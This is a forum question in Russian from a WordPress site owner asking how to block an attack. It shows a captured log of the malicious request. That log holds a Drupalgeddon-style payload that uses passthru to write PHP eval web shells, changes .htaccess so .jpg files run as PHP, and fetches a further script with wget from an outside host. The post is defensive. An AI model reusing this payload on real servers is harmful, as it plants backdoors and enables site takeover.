Как остановить эту атаку Wordpress Query? - PullRequest
2 голосов
/ 05 апреля 2019

Мои журналы начали заполняться этим предупреждением ...

Warning: trim() expects parameter 1 to be string, array given in /wp-includes/class-wp-query.php line 756

Какая линия

 public function parse_query( $query = '' ) {

     ...

     $qv['name']     = trim( $qv['name'] );

Чтобы посмотреть, что происходит, я добавил ...

    // Debug an attack
    if( !is_string($qv['name']) ) {
        error_log( '$_SERVER[HTTP_REFERER] = ' . $_SERVER['HTTP_REFERER'] );
        error_log(print_r(debug_backtrace(), true));
        exit();
    }

    $qv['name']     = trim( $qv['name'] );

Я вернулся, чтобы проверить логи и увидел массив, который здесь проходил ...

[query_vars] => Array
  (
    [name] => Array
      (
        [#post_render] => Array
        (
          [0] => passthru
        )

        [#type] => markup
        [#markup] => echo \'Vuln!! patch it Now!\' > vuln.htm; echo \'Vuln!!<?php @eval($_POST[\'pass\']) ?>\'> sites/default/files/vuln.php; echo \'Vuln!!<?php @eval($_POST[\'pass\']) ?>\'> vuln.php; cd sites/default/files/; echo \'AddType application/x-httpd-php .jpg\' > .htaccess; wget \'http://40k.waszmann.de/Deutsch/images/up.php\'
  )

Как вы могли заметить, я зарегистрировал реффер, который оказался ...

 $_SERVER[HTTP_REFERER] = http://www.google.com.hk

Похоже, это было подделано.

Полный дамп стека вызовов можно найти здесь: https://paste.ee/p/0Vd49

Как я могу предотвратить проникновение этой хрени, есть ли какие-либо фильтры, которые я использую, чтобы выполнить некоторые проверки, чтобы остановить эти вызовы?

Спасибо!

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...